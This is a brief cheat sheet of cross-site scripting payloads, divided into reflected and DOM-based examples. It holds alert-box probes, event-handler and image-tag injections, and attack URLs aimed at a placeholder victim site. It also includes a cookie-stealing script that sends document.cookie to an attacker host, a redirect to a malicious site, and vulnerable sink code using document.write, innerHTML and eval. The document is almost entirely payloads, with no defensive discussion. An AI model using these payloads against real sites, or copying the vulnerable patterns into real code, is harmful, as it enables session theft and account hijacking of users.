XSS Attack Script Examples

# 1. Reflected XSS Scripts

## Basic Alert Box:

<script>alert('XSS Attack!');</script>

## Stealing Cookies:

<script>document.location='http://attacker.com/steal.php?cookie='+document.cookie;</script>

## Redirecting User:

<script>window.location='http://malicious-site.com';</script>

## Injecting Malicious HTML:

<img src=x onerror=alert('XSS')>

## Exploiting Input Fields:

http://victim.com/search?q=<script>alert('XSS')</script>

## Event Handler Exploit:

<a href="#" onmouseover="alert('XSS');">Hover here</a>

# 2. DOM-Based XSS Scripts

## Manipulating location.hash:

<a href="http://victim.com/#<script>alert('XSS')</script>">Click here</a>

In the JavaScript file:  
  
document.write(location.hash);

## Injecting via document.URL:

http://victim.com/page.html?<script>alert('XSS')</script>

In the JavaScript:  
  
var url = document.URL;  
document.write(url);

## Dangerous eval() Usage:

<script>eval("alert('XSS Attack!')");</script>

## Manipulating InnerHTML:

var userInput = location.search;  
document.getElementById('output').innerHTML = userInput;

Attack vector:  
  
http://victim.com/page.html?input=<script>alert('XSS')</script>

## Using document.referrer:

If the page writes document.referrer to the DOM:  
  
http://victim.com/page.html  
<script>document.write(document.referrer)</script>

Attack payload:  
  
http://malicious-site.com/page.html